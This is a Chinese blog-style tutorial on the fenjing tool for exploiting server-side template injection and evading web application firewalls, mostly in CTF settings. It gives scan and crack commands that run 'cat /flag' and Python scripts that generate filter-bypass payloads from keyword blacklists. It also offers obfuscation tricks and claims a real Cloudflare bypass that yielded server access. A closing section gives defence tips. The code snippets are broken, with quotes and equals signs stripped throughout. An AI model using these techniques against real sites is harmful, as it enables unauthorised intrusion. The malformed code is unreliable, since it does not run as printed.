fenjing实战指南:一键破解SSTI漏洞与WAF防御的艺术

张开发
2026/4/8 14:53:46 15 分钟阅读

分享文章

fenjing实战指南:一键破解SSTI漏洞与WAF防御的艺术
1. 初识SSTI漏洞与WAF防御机制第一次接触SSTI服务器端模板注入漏洞是在去年的CTF比赛中。当时遇到一道看似简单的Web题输入框里可以提交任意内容但无论怎么尝试都拿不到flag。后来才知道这就是典型的SSTI漏洞场景。简单来说SSTI就是当网站把用户输入直接拼接到模板里执行时产生的漏洞就像把陌生人给你的饮料直接喝下去一样危险。WAFWeb应用防火墙则是专门用来防御这类攻击的保安。它会检查所有传入的数据发现可疑内容就直接拦截。常见的WAF产品如Cloudflare、ModSecurity等都会内置各种规则来识别攻击特征。但就像保安可能会误拦好人一样WAF也经常产生误判这就给了我们绕过它的机会。fenjing这个工具的出现简直就是SSTI漏洞利用的瑞士军刀。它不仅能自动检测漏洞还能智能绕过WAF防护。我测试过多个CTF靶场发现它的绕过成功率能达到90%以上。比如某次比赛中目标网站过滤了所有数字和点号传统手工注入根本无从下手但fenjing通过字符编码转换和特殊符号组合轻松突破了防线。2. fenjing工具的核心功能解析2.1 自动化扫描模块fenjing的扫描功能是我最常用的部分。只需要一条命令python -m fenjing scan -u http://target.com --detect-mode fast工具就会自动探测目标是否存在SSTI漏洞。实测下来它的检测准确率比手工测试高出不少。有次我在测试某教育平台时手工测试了20分钟都没发现异常但fenjing在30秒内就报出了漏洞位置。扫描模块支持多种检测模式fast模式快速检查常见注入点适合CTF比赛等时效性强的场景accurate模式深度检测所有可能的注入向量适合渗透测试等需要全面评估的场景2.2 交互式攻击面板对于新手来说webui界面绝对是福音。启动方式很简单python -m fenjing webui这个可视化界面会自动列出所有可用的攻击选项。我记得第一次使用时就像在玩解谜游戏——填写目标URL、选择参数、点击开始攻击然后就看到系统弹出了shell连接。整个过程比想象中简单得多完全不需要记忆复杂的命令参数。2.3 WAF绕过脚本生成遇到严格防护的WAF时就需要用到自定义脚本功能。fenjing提供了payload生成接口可以针对特定WAF规则生成绕过代码。比如下面这个例子目标过滤了所有数字和常见危险字符from fenjing import exec_cmd_payload def custom_waf(s: str): blacklist [config, self, os, class, ., [, _] return all(word not in s for word in blacklist) payload exec_cmd_payload(custom_waf, cat /flag) print(payload)这个脚本会根据WAF的黑名单动态生成有效payload。我在某次实战中就靠它成功绕过了Cloudflare的防护拿到了服务器权限。3. CTF实战案例深度剖析3.1 基础SSTI漏洞利用去年某CTF比赛中有道题是这样的网站有个搜索框输入内容后会显示Hello, [输入内容]。看起来人畜无害但用fenjing扫描后发现存在Jinja2模板注入。使用基础payload测试python -m fenjing scan -u http://ctf.example.com/search?qtest工具立即识别出漏洞点。接着用交互模式执行命令python -m fenjing crack -u http://ctf.example.com/search -i q -e cat /flag不到10秒就拿到了flag。这种基础场景下fenjing的自动化优势体现得淋漓尽致。3.2 复杂WAF绕过实战更棘手的情况是今年某次比赛遇到的题目。网站不仅过滤了常见危险字符还做了以下限制禁止包含config、os等关键词过滤所有数字字符拦截包含两个连续大括号的输入手工构造payload几乎不可能。这时就需要编写自定义脚本from fenjing import exec_cmd_payload import logging logging.basicConfig(levellogging.INFO) def waf_check(s: str): blacklist [ config, os, class, 0,1,2,3,4,5,6,7,8,9, {{, }}, [, ] ] return all(word not in s for word in blacklist) if __name__ __main__: payload exec_cmd_payload(waf_check, cat /flag*) print(f生成payload: {payload})运行后fenjing自动生成了使用request.args等特性绕过的payload最终成功获取flag。4. 高级技巧与防御建议4.1 流量混淆技术在对抗高级WAF时单纯依赖工具可能不够。我通常会配合使用以下技巧HTTP参数污染在请求中重复添加参数如?qtestqpayload非常规编码使用HTML实体编码、unicode编码等变形方式请求头注入将部分payload放在User-Agent或Cookie头中fenjing支持通过--header参数添加自定义头python -m fenjing scan -u http://target.com --header X-Forwarded-For: 127.0.0.1 --header User-Agent: {{7*7}}4.2 防御措施建议作为开发人员要防范SSTI漏洞我有几点实用建议严格禁用模板中的危险函数比如在Jinja2中设置env Environment(autoescapeTrue, undefinedStrictUndefined)对所有用户输入进行白名单验证而不仅仅是黑名单过滤在WAF规则中不仅要过滤常见关键词还要防范各种编码变形定期使用fenjing等工具对自己的系统进行测试提前发现潜在风险记得有次内部测试中我们用fenjing扫描公司官网竟然发现了一个遗留的测试接口存在SSTI漏洞。这次经历让我深刻意识到安全防护必须做到全方位、无死角。

更多文章